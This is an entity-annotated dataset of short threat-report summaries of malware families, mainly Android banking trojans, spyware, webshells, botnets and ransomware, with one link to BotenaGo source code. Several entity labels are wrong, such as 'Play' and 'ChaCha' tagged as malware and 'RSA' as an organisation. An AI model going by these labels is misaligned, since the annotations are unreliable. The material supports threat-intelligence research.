+{"text": "Check Point has identified samples of this spyware being distributed since 2015. No samples were found on Google Play, meaning they were likely through other channels like social engineering.", "spans": {"SYSTEM: Google Play": [[106, 117]], "ORGANIZATION: Google": [[106, 112]], "ORGANIZATION: Check Point": [[0, 11]], "MALWARE: Play": [[113, 117]]}, "info": {"source": "apt_reports", "name": "MobileOrder"}}
+{"text": "Monokle is a sophisticated mobile surveillanceware that possesses remote access trojan (RAT) functionality, advanced data exfiltration techniques as well as the ability to install an attacker-specified certificate to the trusted certificates on an infected device that would allow for man-in-the-middle (MITM) attacks.\r\nAccording to Lookout researchers, It is believed to be developed by Special Technology Center (STC), which is a Russian defense contractor sanctioned by the U.S. Government in connection to alleged interference in the 2016 US presidential elections.", "spans": {"MALWARE: Monokle": [[0, 7]], "ORGANIZATION: Lookout": [[333, 340]], "VULNERABILITY: MITM": [[304, 308]], "VULNERABILITY: man-in-the-middle": [[285, 302]]}, "info": {"source": "apt_reports", "name": "Monokle"}}
+{"text": "MoqHao, also called Wroba and XLoader (not to be confused with the malware of the same name for Windows and macOS), is an Android-based mobile threat that is associated with a financially motivated Chinese group called Roaming Mantis. The malware claims to be the default SMS application and has dropper and banker capabilities.", "spans": {"MALWARE: MoqHao": [[0, 6]], "MALWARE: Wroba": [[20, 25]], "MALWARE: XLoader": [[30, 37]], "THREAT_ACTOR: Roaming Mantis": [[219, 233]], "SYSTEM: macOS": [[108, 113]], "SYSTEM: Android": [[122, 129]], "SYSTEM: Windows": [[96, 103]]}, "info": {"source": "apt_reports", "name": "MoqHao"}}
+{"text": "MysteryBot is an Android banking Trojan with overlay capabilities with support for Android 7/8 but also provides other features such as key logging and ransomware functionality.", "spans": {"MALWARE: MysteryBot": [[0, 10]], "SYSTEM: Android": [[17, 24], [83, 90]]}, "info": {"source": "apt_reports", "name": "MysteryBot"}}
+{"text": "According to TechCrunch, this is a remote surveillance app that allows ordinary consumers to buy software capable of tracking people and their data without their knowledge. Once physically planted on a person’s phone or computer (usually with knowledge of the victim’s passcode or login), the app would continuously upload a copy of the victim’s information, including messages, photos, and location data, to pcTattletale’s servers and make the data accessible to whoever planted the spyware.", "spans": {"MALWARE: pcTattletale": [[409, 421]]}, "info": {"source": "apt_reports", "name": "pcTattletale"}}
+{"text": "According to Zimperium, PhoneSpy is a spyware aimed at South Korean residents with Android devices.", "spans": {"MALWARE: PhoneSpy": [[24, 32]], "SYSTEM: Android": [[83, 90]], "ORGANIZATION: Zimperium": [[13, 22]]}, "info": {"source": "apt_reports", "name": "PhoneSpy"}}
+{"text": "According to Mandiant, PINEFLOWER is an Android malware family capable of a wide range of backdoor functionality, including stealing system inform information, logging and recording phone calls, initiating audio recordings, reading SMS inboxes and sending SMS messages. The malware also has features to facilitate device location tracking, deleting, downloading, and uploading files, reading connectivity state, speed, and activity, and toggling Bluetooth, Wi-Fi, and mobile data settings.", "spans": {"MALWARE: PINEFLOWER": [[23, 33]], "SYSTEM: Android": [[40, 47]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "PINEFLOWER"}}
+{"text": "According to PCrisk, The PixPirate is a dangerous Android banking Trojan that has the capability to carry out ATS (Automatic Transfer System) attacks. This allows threat actors to automatically transfer funds through the Pix Instant Payment platform, which numerous Brazilian banks use.\r\n\r\nIn addition to launching ATS attacks, PixPirate can intercept and delete SMS messages, prevent the uninstallation process, and carry out malvertising attacks.", "spans": {"MALWARE: PixPirate": [[25, 34], [328, 337]], "SYSTEM: Android": [[50, 57]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "PixPirate"}}
+{"text": "According to Lookout, PlainGnome consists of a two-stage deployment in which a very minimal first stage drops a malicious APK once it’s installed. The code of PlainGnome’s second stage payload evolved significantly from January 2024 through at least October. In particular, PlainGnome’s developers shifted to using Jetpack WorkManager classes to handle data exfiltration, which eases development and maintenance of related code. In addition, WorkManager allows for specifying execution conditions. For example, PlainGnome only exfiltrates data from victim devices when the device enters an idle state. This mechanism is probably intended to reduce the chance of a victim noticing the presence of PlainGnome on their device. As opposed to the minimalist first (installer) stage, the second stage carries out all surveillance functionality and relies on 38 permissions.", "spans": {"MALWARE: PlainGnome": [[22, 32], [159, 169], [274, 284], [511, 521], [696, 706]], "ORGANIZATION: Lookout": [[13, 20]]}, "info": {"source": "apt_reports", "name": "PlainGnome"}}
+{"text": "RatMilad, a newly discovered Android spyware, has been stealing data from mobile devices in the Middle East.\r\nThe malware is spread through links on social media and pretends to be applications for services like VPN and phone number spoofing. Unwary users download these trojan applications and grant access to malware.", "spans": {"MALWARE: RatMilad": [[0, 8]], "SYSTEM: Android": [[29, 36]], "SYSTEM: VPN": [[212, 215]]}, "info": {"source": "apt_reports", "name": "RatMilad"}}
+{"text": "According to ThreatFabric, this RAT can perform NFC relay attacks and has Automated Transfer ystem (ATS) capabilities", "spans": {"ORGANIZATION: ThreatFabric": [[13, 25]]}, "info": {"source": "apt_reports", "name": "RatOn"}}
+{"text": "RedAlert 2 is an new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server.\r\nThe malware also has the ability to block incoming calls from banks, to prevent the victim of being notified.\r\nAs a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates.", "spans": {"SYSTEM: Android": [[21, 28], [424, 431]], "SYSTEM: Adobe Flash": [[466, 477]]}, "info": {"source": "apt_reports", "name": "RedAlert2"}}
+{"text": "The Android app using for Retefe is a SMS stealer, used to forward mTAN codes to the threat actor. Further is a bank logo added to the specific Android app to trick users into thinking this is a legitimate app. Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger' tool, hence the victim's phone doesn't get infected.", "spans": {"MALWARE: Retefe": [[26, 32]], "SYSTEM: Signal": [[326, 332]], "SYSTEM: Android": [[4, 11], [144, 151]]}, "info": {"source": "apt_reports", "name": "Retefe"}}
+{"text": "According to PCrisk, Revive is the name of a banking Trojan targeting Android users (customers of a specific Spanish bank). It steals sensitive information. Cybercriminals use Revive to take ownership of online accounts using stolen login credentials. This malware abuses Accessibility Services to perform malicious activities.", "spans": {"MALWARE: Revive": [[21, 27], [176, 182]], "SYSTEM: Android": [[70, 77]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Revive"}}
+{"text": "According to ANY.RUN, this is a banking trojan that this collection sensitive user information, including: Registered mobile number, Aadhaar number, PAN card details, Date of birth, and Net banking user ID and password. It uses Telegram as C2.", "spans": {"SYSTEM: Telegram": [[228, 236]], "ORGANIZATION: ANY.RUN": [[13, 20]]}, "info": {"source": "apt_reports", "name": "Salvador Stealer"}}
+{"text": "An Android ransomware that locks the device, changes the wallpaper, and demands money in exchange for unlocking the phone.", "spans": {"SYSTEM: Android": [[3, 10]]}, "info": {"source": "apt_reports", "name": "Sauron Locker"}}
+{"text": "SharkBot is a piece of malicious software targeting Android Operating Systems (OSes). It is designed to obtain and misuse financial data by redirecting and stealthily initiating money transfers. SharkBot is particularly active in Europe (United Kingdom, Italy, etc.), but its activity has also been detected in the United States.", "spans": {"MALWARE: SharkBot": [[0, 8], [195, 203]], "SYSTEM: Android": [[52, 59]]}, "info": {"source": "apt_reports", "name": "SharkBot"}}
+{"text": "Shopper/LeifAccess is a malicious Android app that uses Android's AccessibilityService to secretly control the device. It installs apps, leaves fake reviews, opens ads, and even registers users on various platforms. Disguised as a system app, it collects personal and device information and sends it to remote servers. The malware was most active in late 2019, especially in Russia, Brazil, and India.", "spans": {"MALWARE: Shopper": [[0, 7]], "MALWARE: LeifAccess": [[8, 18]], "SYSTEM: Android": [[34, 41], [56, 63]]}, "info": {"source": "apt_reports", "name": "Shopper"}}
+{"text": "SideWinder involved a fake VPN app for Android devices published on Google Play Store along with a custom tool that filters victims for better targeting.", "spans": {"MALWARE: SideWinder": [[0, 10]], "SYSTEM: Google Play": [[68, 79]], "SYSTEM: Android": [[39, 46]], "SYSTEM: VPN": [[27, 30]], "ORGANIZATION: Google": [[68, 74]], "MALWARE: Play": [[75, 79]]}, "info": {"source": "apt_reports", "name": "SideWinder"}}
+{"text": "Slocker also known as jisut and pigetrl, is a screen locker that is distributed through telegram groups.", "spans": {"MALWARE: Slocker": [[0, 7]], "MALWARE: jisut": [[22, 27]]}, "info": {"source": "apt_reports", "name": "Slocker"}}
+{"text": "SMSAgent appears as a game application, but silently performs malicious routines in the background. It attempts to download other potentially malicious files from a remote server and sends out SMS or MMS messages that places expensive charges on the user's bill.", "spans": {"MALWARE: SMSAgent": [[0, 8]]}, "info": {"source": "apt_reports", "name": "SmsAgent"}}
+{"text": "A sophisticated mobile surveillance implant operating as a Remote Control System (RCS). This malware family is characterized by a unique, multi-sided communication architecture that abandons traditional HTTP polling. Instead, it hybridizes Firebase Cloud Messaging (FCM) for asynchronous command signaling with Fast Reverse Proxy (FRP) to establish persistent, NAT-bypassing network tunnels, effectively turning the infected mobile device into a server accessible by the attacker.", "spans": {}, "info": {"source": "apt_reports", "name": "SpyFRPTunnel"}}
+{"text": "SpyMax is a popular Android surveillance tool. Its predecessor, SpyNote, was one of the most widely used spyware frameworks.", "spans": {"MALWARE: SpyMax": [[0, 6]], "SYSTEM: Android": [[20, 27]], "MALWARE: SpyNote": [[64, 71]]}, "info": {"source": "apt_reports", "name": "SpyMax"}}
+{"text": "According to Cleafy, SpyNote abuses Accessibility services and other Android permissions in order to: Collect SMS messages and contacts list; Record audio and screen; Perform keylogging activities; Bypass 2FA; Track GPS locations.", "spans": {"MALWARE: SpyNote": [[21, 28]], "SYSTEM: Android": [[69, 76]], "VULNERABILITY: keylogging": [[175, 185]]}, "info": {"source": "apt_reports", "name": "SpyNote"}}
+{"text": "According to ThreatFabric, Sturnus is a privately operated Android banking trojan. This malware supports a broad range of fraud-related capabilities, including full device takeover. A key differentiator is its ability to bypass encrypted messaging. By capturing content directly from the device screen after decryption, Sturnus can monitor communications via WhatsApp, Telegram, and Signal.\r\n\r\nThe trojan can harvest banking credentials through convincing fake login screens that replicate legitimate banking apps. In addition, it provides attackers with extensive remote control, enabling them to observe all user activity, inject text without physical interaction, and even black out the device screen while executing fraudulent transactions in the background—without the victim’s knowledge.", "spans": {"MALWARE: Sturnus": [[27, 34], [320, 327]], "SYSTEM: WhatsApp": [[359, 367]], "SYSTEM: Signal": [[383, 389]], "SYSTEM: Android": [[59, 66]], "SYSTEM: Telegram": [[369, 377]], "ORGANIZATION: ThreatFabric": [[13, 25]]}, "info": {"source": "apt_reports", "name": "Sturnus"}}
+{"text": "Svpeng is a malicious banking trojan targeting Android devices, and it poses a significant threat to both mobile users and the developers of mobile banking apps. Svpeng has been active since around 2013. It primarily targets Android users, and its main objective is to steal sensitive financial information, particularly login credentials and personal data related to banking and financial apps. Svpeng typically spreads through malicious apps, phishing campaigns, or drive-by downloads.", "spans": {"MALWARE: Svpeng": [[0, 6], [162, 168], [396, 402]], "SYSTEM: Android": [[47, 54], [225, 232]], "VULNERABILITY: phishing": [[445, 453]]}, "info": {"source": "apt_reports", "name": "Svpeng"}}
+{"text": "Tempting cedar spyware is an Android spyware campaign, active since at least 2015, that used social engineering via fake, attractive Facebook profiles to trick victims into downloading malware. The spyware was designed to steal a wide range of sensitive personal data.", "spans": {"SYSTEM: Android": [[29, 36]], "ORGANIZATION: Facebook": [[133, 141]]}, "info": {"source": "apt_reports", "name": "TemptingCedar Spyware"}}
+{"text": "According to Trend Micro, TgToxic has been used in an ongoing campaign that has been targeting Android users in Southeast Asia since July 2022. Goal of the campaign is to steal victims’ assets from finance and banking applications (such as cryptocurrency wallets, credentials for official bank apps on mobile, and money in deposit), via a banking trojan they named TgToxic (based on its special encrypted filename) embedded in multiple fake apps. While previously targeting users in Taiwan, Trend Micro observed the fraudulent activities and phishing lures targeting users from Thailand and Indonesia as of this writing. Users are advised to be wary of opening embedded links from unknown email and message senders, and to avoid downloading apps from third party platforms.", "spans": {"MALWARE: TgToxic": [[26, 33], [365, 372]], "SYSTEM: Android": [[95, 102]], "SYSTEM: Trend Micro": [[13, 24], [491, 502]], "VULNERABILITY: phishing": [[542, 550]]}, "info": {"source": "apt_reports", "name": "TgToxic"}}
+{"text": "According to Trend Micro, this malware appears to have been designed to steal credentials associated with membership websites of major Japanese telecommunication services.", "spans": {"SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "TianySpy"}}
+{"text": "ToxicPanda is an Android banking RAT first identified by Cleafy in October 2024. It shows similarity to the TgToxic campaign, but appears to be a new development rather than a derivative. The threat actors are likely Chinese speakers. ToxicPanda initially made use of hardcoded C2 domains only, but started to incorporate a DGA in late 2024.", "spans": {"MALWARE: ToxicPanda": [[0, 10], [235, 245]], "SYSTEM: Android": [[17, 24]], "MALWARE: TgToxic": [[108, 115]]}, "info": {"source": "apt_reports", "name": "ToxicPanda"}}
+{"text": "Triada is a remote access trojan (RAT) malware that is used to compromise Android devices in order to steal confidential and sensitive information such as credit card numbers, passwords, bank account information, etc. It also provides a backdoor for attackers to include the device as part of a botnet and perform other malicious activities.", "spans": {"MALWARE: Triada": [[0, 6]], "SYSTEM: Android": [[74, 81]]}, "info": {"source": "apt_reports", "name": "Triada"}}
+{"text": "TrickMo is an advanced banking trojan for Android. Starting out as a companion malware to TrickBot in 2020, it first became a standalone banking trojan by addition of overlay attacks in 2021 and was later (2024) upgraded with remote control capabilities for on-device fraud. The continued development and progressively improved obfuscation suggests an active Threat Actor.", "spans": {"MALWARE: TrickMo": [[0, 7]], "SYSTEM: Android": [[42, 49]], "MALWARE: TrickBot": [[90, 98]]}, "info": {"source": "apt_reports", "name": "TrickMo"}}
+{"text": "Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware’s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.", "spans": {"MALWARE: Triout": [[22, 28]], "SYSTEM: Android": [[34, 41]], "SYSTEM: Bitdefender": [[0, 11]]}, "info": {"source": "apt_reports", "name": "Triout"}}
+{"text": "According to Cyble, this is a banking trojan that targets over 750 applications globally, including banking, finance, cryptocurrency, and e-commerce apps. The malware spreads via phishing sites masquerading as legitimate financial platforms and is installed through a dropper disguised as Google Play Services. It uses overlay attacks to steal banking credentials, credit card details, and login credentials by displaying fake login pages over legitimate apps. TsarBot can record and remotely control the screen, executing fraud by simulating user actions such as swiping, tapping, and entering credentials while hiding malicious activities using a black overlay screen. It captures device lock credentials using a fake lock screen to gain full control. TsarBot communicates with its C&C server using WebSocket across multiple ports to receive commands, send stolen data, and dynamically execute on-device fraud.", "spans": {"MALWARE: TsarBot": [[461, 468], [754, 761]], "SYSTEM: Google Play": [[289, 300]], "ORGANIZATION: Google": [[289, 295]], "VULNERABILITY: phishing": [[179, 187]], "MALWARE: Play": [[296, 300]]}, "info": {"source": "apt_reports", "name": "TsarBot"}}
+{"text": "According to Check Point Research, this is a RAT that is disguised as a set of dating apps like \"GrixyApp\", \"ZatuApp\", \"Catch&See\", including dedicated websites to conceal their malicious purpose.", "spans": {"ORGANIZATION: Check Point": [[13, 24]]}, "info": {"source": "apt_reports", "name": "Unidentified APK 004"}}
+{"text": "Information stealer posing as a fake banking app, targeting Korean users.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified APK 006"}}
+{"text": "According to Cyble, this is an Android application that pretends to be the legitimate application for the Army Mobile Aadhaar App Network (ARMAAN), intended to be used by Indian army personnel. The application was customized to include RAT functionality.", "spans": {"SYSTEM: Android": [[31, 38]]}, "info": {"source": "apt_reports", "name": "Unidentified 007 (ARMAAN RAT)"}}
+{"text": "Android malware distributed through fake shopping websites targeting Malaysian users, targeting banking information.", "spans": {"SYSTEM: Android": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Unidentified APK 008"}}
+{"text": "According to Google, a Chrome reconnaissance payload", "spans": {"SYSTEM: Chrome": [[23, 29]], "ORGANIZATION: Google": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Unidentified APK 009 (Chrome Recon)"}}
+{"text": "Related to the micropsia windows malware and also sometimes named micropsia.", "spans": {}, "info": {"source": "apt_reports", "name": "vamp"}}
+{"text": "According to Mandiant, VINETHORN is an Android malware family capable of a wide range of backdoor functionality. It can steal system information, read SMS inboxes, send SMS messages, access contact lists and call histories, record audio and video, and track device location via GPS.", "spans": {"MALWARE: VINETHORN": [[23, 32]], "SYSTEM: Android": [[39, 46]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "VINETHORN"}}
+{"text": "According to Xlab, this malware is used to compromise Android TVs and set-top boxes, and its corresponding botnet had more than 1 million nodes observed via sinkholing (Jan 2025).", "spans": {"SYSTEM: Android": [[54, 61]]}, "info": {"source": "apt_reports", "name": "vo1d"}}
+{"text": "According to Avira, this is a banking trojan targeting Japan.", "spans": {}, "info": {"source": "apt_reports", "name": "Wroba"}}
+{"text": "Xenomorph is a Android Banking RAT developed by the Hadoken.Security actor.", "spans": {"MALWARE: Xenomorph": [[0, 9]], "SYSTEM: Android": [[15, 22]]}, "info": {"source": "apt_reports", "name": "Xenomorph"}}
+{"text": "Xhelper is a very persistent malware that can reinstall itself after factory reset, Xhelper downloads malicious apps and displays annoying ads.", "spans": {"MALWARE: Xhelper": [[0, 7], [84, 91]]}, "info": {"source": "apt_reports", "name": "xHelper"}}
+{"text": "According to cyware, Zanubis malware pretends to be a malicious PDF application. The threat actor uses it as a key to decrypt responses received from the C2 server.", "spans": {"MALWARE: Zanubis": [[21, 28]]}, "info": {"source": "apt_reports", "name": "Zanubis"}}
+{"text": "According to Microsoft, this is a web shell, written in ASPX supporting C#, carrying sufficient yet rudimentary functionality to support the following secondary activities: uploading and downloading files, running shell commands, opening a port (default port is set to TCP 250).", "spans": {"ORGANIZATION: Microsoft": [[13, 22]]}, "info": {"source": "apt_reports", "name": "LocalOlive"}}
+{"text": "WebShell.", "spans": {}, "info": {"source": "apt_reports", "name": "Nightrunner"}}
+{"text": "WebShell.", "spans": {}, "info": {"source": "apt_reports", "name": "Tunna"}}
+{"text": "According to Unit42, TwoFace is a two-staged (loader+payload) webshell, written in C# and meant to run on webservers with ASP.NET. The author of the initial loader webshell included legitimate and expected content that will be displayed if a visitor accesses the shell in a browser, likely to remain undetected. The code in the loader webshell includes obfuscated variable names and the embedded payload is encoded and encrypted. To interact with the loader webshell, the threat actor uses HTTP POST requests to the compromised server.\r\n\r\nThe secondary webshell, which we call the payload, is embedded within the loader in encrypted form and contains additional functionality that we will discuss in further detail. When the threat actor wants to interact with the remote server, they provide data that the loader will use to modify a decryption key embedded within the loader that will be in turn used to decrypt the embedded TwoFace payload. Commands supported by the payload are execution of programs, up-, download and deletion of files and capability to manipulate MAC timestamps.", "spans": {"MALWARE: TwoFace": [[21, 28], [927, 934]]}, "info": {"source": "apt_reports", "name": "TwoFace"}}
+{"text": "Abcbot is a modular Go-based botnet and malware that propagates via exploits and brute force attempts. The botnet was observed launching DDoS attacks, perform internet scans, and serve web pages. It is probably linked to Xanthe-based clipjacking campaign.", "spans": {"MALWARE: Abcbot": [[0, 6]], "SYSTEM: Go": [[20, 22]], "VULNERABILITY: DDoS": [[137, 141]], "VULNERABILITY: brute force": [[81, 92]]}, "info": {"source": "apt_reports", "name": "Abcbot"}}
+{"text": "Family based on HelloKitty Ransomware. Encryption algorithm changed from AES to ChaCha. Sample seems to be unpacked.", "spans": {"MALWARE: HelloKitty": [[16, 26]], "MALWARE: ChaCha": [[80, 86]]}, "info": {"source": "apt_reports", "name": "Abyss Locker"}}
+{"text": "A Linux backdoor that was apparently ported to Windows. This entry represents the Linux version. This version appears to have been written first and the Windows version was ported later, without full functionality. The Linux version offers persistence as well as some process manipulation techniques, though both versions apparently offer the ability to access the command line and execute programs as well as self-update.", "spans": {"SYSTEM: Windows": [[47, 54], [153, 160]], "SYSTEM: Linux": [[2, 7], [82, 87], [219, 224]]}, "info": {"source": "apt_reports", "name": "ACBackdoor"}}
+{"text": "A MIPS ELF binary with wiper functionality used against Viasat KA-SAT modems.", "spans": {}, "info": {"source": "apt_reports", "name": "AcidRain"}}
+{"text": "According to Xlab, this is a DDoS bot.", "spans": {"VULNERABILITY: DDoS": [[29, 33]]}, "info": {"source": "apt_reports", "name": "AIRASHI"}}
+{"text": "AirDropBot is used to create a DDoS botnet. It spreads as a worm, currently targeting Linksys routers. Backdoor and other bot functionality is present in this family. Development seems to be ongoing.", "spans": {"MALWARE: AirDropBot": [[0, 10]], "VULNERABILITY: DDoS": [[31, 35]]}, "info": {"source": "apt_reports", "name": "AirDropBot"}}
+{"text": "Honeypot-aware variant of Mirai.", "spans": {"MALWARE: Mirai": [[26, 31]]}, "info": {"source": "apt_reports", "name": "Aisuru"}}
+{"text": "Ransomware", "spans": {}, "info": {"source": "apt_reports", "name": "Akira"}}
+{"text": "Backdoor deployed by the TrickBot actors. It uses DNS as the command and control channel as well as for exfiltration of data.", "spans": {"MALWARE: TrickBot": [[25, 33]]}, "info": {"source": "apt_reports", "name": "AnchorDNS"}}
+{"text": "According to Unit 42, Auto-Color was discovered in November 2024 named based on the file name of the initial payload. It hides its C2 communication similarly to Symbiote, including the use of proprietary encryption algorithms.", "spans": {"MALWARE: Auto-Color": [[22, 32]], "ORGANIZATION: Unit 42": [[13, 20]], "MALWARE: Symbiote": [[161, 169]]}, "info": {"source": "apt_reports", "name": "Auto-Color"}}
+{"text": "AVrecon is a Linux-based Remote Access Trojan (RAT) targeting small-office/home-office (SOHO) routers and other ARM-embedded devices. The malware is distributed via exploitation of unpatched vulnerabilities or common misconfiguration of the targeted devices. Once deployed, AVreckon will collect some information about the infected device, open a session to pre-configured C&C server, and spawn a remote shell for command execution. It might also download additional arbitrary files and run them. The malware has recently been used in campaigns aimed at ad-fraud activities, password spraying and data exfiltration.", "spans": {"MALWARE: AVrecon": [[0, 7]], "SYSTEM: Linux": [[13, 18]], "VULNERABILITY: password spraying": [[575, 592]]}, "info": {"source": "apt_reports", "name": "AVrecon"}}
+{"text": "Azazel is a Linux user-mode rootkit based off of a technique from the Jynx rootkit (LD_PRELOAD technique). Azazel is purportedly more robust than Jynx and has many more anti-analysis features", "spans": {"MALWARE: Azazel": [[0, 6], [107, 113]], "SYSTEM: Linux": [[12, 17]], "VULNERABILITY: rootkit": [[28, 35], [75, 82]]}, "info": {"source": "apt_reports", "name": "azazel"}}
+{"text": "B1txor20 is a malware that was discovered by 360 Netlab along others exploiting Log4J. the name is derived from using the file name \"b1t\", the XOR encrpytion algorithm, and the RC4 algorithm key length of 20 bytes. According to 360 Netlab this Backdoor for Linux platform uses DNS Tunnel to build a C2 communication channel. They also had the assumption that the malware is still in development, because of some bugs and not fully implemented features.", "spans": {"MALWARE: B1txor20": [[0, 8]], "SYSTEM: Linux": [[257, 262]]}, "info": {"source": "apt_reports", "name": "B1txor20"}}
+{"text": "ESX and NAS modules for Babuk ransomware.", "spans": {"MALWARE: Babuk": [[24, 29]], "SYSTEM: NAS": [[8, 11]]}, "info": {"source": "apt_reports", "name": "Babuk"}}
+{"text": "According to Avast Decoded, Backdoorit is a multiplatform RAT written in Go programming language and supporting both Windows and Linux/Unix operating systems. In many places in the code it is also referred to as backd00rit.", "spans": {"MALWARE: Backdoorit": [[28, 38]], "MALWARE: backd00rit": [[212, 222]], "SYSTEM: Unix": [[135, 139]], "SYSTEM: Windows": [[117, 124]], "SYSTEM: Avast": [[13, 18]], "SYSTEM: Linux": [[129, 134]], "SYSTEM: Go": [[73, 75]]}, "info": {"source": "apt_reports", "name": "Backdoorit"}}
+{"text": "BADCALL is a Trojan malware variant used by the group Lazarus Group.", "spans": {"MALWARE: BADCALL": [[0, 7]], "THREAT_ACTOR: Lazarus Group": [[54, 67]]}, "info": {"source": "apt_reports", "name": "BADCALL"}}
+{"text": "Ballista is an IoT botnet, infecting unpatched TP-Link Archer AX21 (AX1800) routers. It spreads through automatic exploitation of CVE-2023-1389. Its capabilities include remote code execution and DDoS attacks.", "spans": {"CVE_ID: CVE-2023-1389": [[130, 143]], "MALWARE: Ballista": [[0, 8]], "SYSTEM: TP-Link": [[47, 54]], "VULNERABILITY: code execution": [[177, 191]], "VULNERABILITY: remote code execution": [[170, 191]], "VULNERABILITY: DDoS": [[196, 200]]}, "info": {"source": "apt_reports", "name": "Ballista"}}
+{"text": "Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.", "spans": {"MALWARE: Bashlite": [[0, 8]], "SYSTEM: Linux": [[43, 48]], "VULNERABILITY: DDoS": [[115, 119]]}, "info": {"source": "apt_reports", "name": "Bashlite"}}
+{"text": "According to Security Joes, this malware is an x64 ELF executable, lacking obfuscation or protective measures. It allows attackers to specify target folders and can potentially destroy an entire operating system if run with root permissions. During execution, it produces extensive output, which can be mitigated using the \"nohup\" command. It also leverages multiple threads and a queue to corrupt files concurrently, enhancing its speed and reach. Its actions include overwriting files, renaming them with a random string containing \"BiBi,\" and excluding certain file types from corruption.", "spans": {"MALWARE: BiBi": [[535, 539]]}, "info": {"source": "apt_reports", "name": "BiBi-Linux"}}
+{"text": "Linux version of the bifrose malware that originally targeted Windows platform only. The backdoor has the ability to perform file management, start or end a process, or start a remote shell. The connection is encrypted using a modified RC4 algorithm.", "spans": {"SYSTEM: Windows": [[62, 69]], "SYSTEM: Linux": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Bifrost"}}
+{"text": "A DDoS bot abusing CVE-2020-8515 to target DrayTek Vigor routers. It uses a wordlist-based DGA to generate its C&C domains.", "spans": {"CVE_ID: CVE-2020-8515": [[19, 32]], "VULNERABILITY: DDoS": [[2, 6]]}, "info": {"source": "apt_reports", "name": "BigViktor"}}
+{"text": "ESXi encrypting ransomware, using a combination of the stream cipher ChaCha20 and RSA.", "spans": {"SYSTEM: ESXi": [[0, 4]], "ORGANIZATION: RSA": [[82, 85]]}, "info": {"source": "apt_reports", "name": "Black Basta"}}
+{"text": "ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.\r\n\r\nALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.", "spans": {"MALWARE: BlackCat": [[21, 29], [378, 386]], "MALWARE: ALPHV": [[0, 5], [136, 141], [306, 311], [327, 332], [469, 474], [558, 563], [694, 699], [805, 810]], "MALWARE: Noberus": [[33, 40]], "TOOL: PsExec": [[839, 845]], "SYSTEM: Ubuntu": [[260, 266]], "SYSTEM: Rust": [[160, 164]], "SYSTEM: Synology": [[278, 286]], "SYSTEM: ESXi": [[300, 304], [791, 795]], "SYSTEM: Debian": [[252, 258]], "SYSTEM: Windows": [[212, 219]], "SYSTEM: Linux": [[221, 226]]}, "info": {"source": "apt_reports", "name": "BlackCat"}}
+{"text": "According to Trend Micro, this ransomware has significant code overlap with Royal Ransomware.", "spans": {"SYSTEM: Trend Micro": [[13, 24]], "MALWARE: Royal": [[76, 81]]}, "info": {"source": "apt_reports", "name": "BlackSuit"}}
+{"text": "According to Mandiant, this malware family is attributed to potential chinese background and directly related to observed exploitation of Fortinet's SSL-VPN (CVE-2022-42475). There is also a Windows variant.", "spans": {"CVE_ID: CVE-2022-42475": [[158, 172]], "SYSTEM: Fortinet": [[138, 146]], "SYSTEM: Windows": [[191, 198]], "SYSTEM: VPN": [[153, 156]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "BOLDMOVE"}}
+{"text": "This is a pentesting tool and according to the author, \"BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies.\".\r\n\r\nIt has been observed being used by TeamTNT in their activities for spreading crypto-mining malware.", "spans": {"MALWARE: BOtB": [[56, 60]], "THREAT_ACTOR: TeamTNT": [[259, 266]]}, "info": {"source": "apt_reports", "name": "Break out the Box"}}
+{"text": "According to Alien Labs, this malware targets embedded devices including routers with more than 30 exploits.\r\nSourceCode: https://github.com/Egida/kek/blob/19991ef983f838287aa9362b78b4ed8da0929184/loader_multi.go (2021-10-16)", "spans": {"URL: https://github.com/Egida/kek/blob/19991ef983f838287aa9362b78b4ed8da0929184/loader_multi.go": [[122, 212]], "HASH: 19991ef983f838287aa9362b78b4ed8da0929184": [[156, 196]], "MALWARE: Alien": [[13, 18]]}, "info": {"source": "apt_reports", "name": "BotenaGo"}}
+{"text": "BPFDoor is a passive backdoor used by a China-based threat actor. This backdoor supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP allowing the threat actor a variety of mechanisms to interact with the implant.", "spans": {"MALWARE: BPFDoor": [[0, 7]]}, "info": {"source": "apt_reports", "name": "BPFDoor"}}
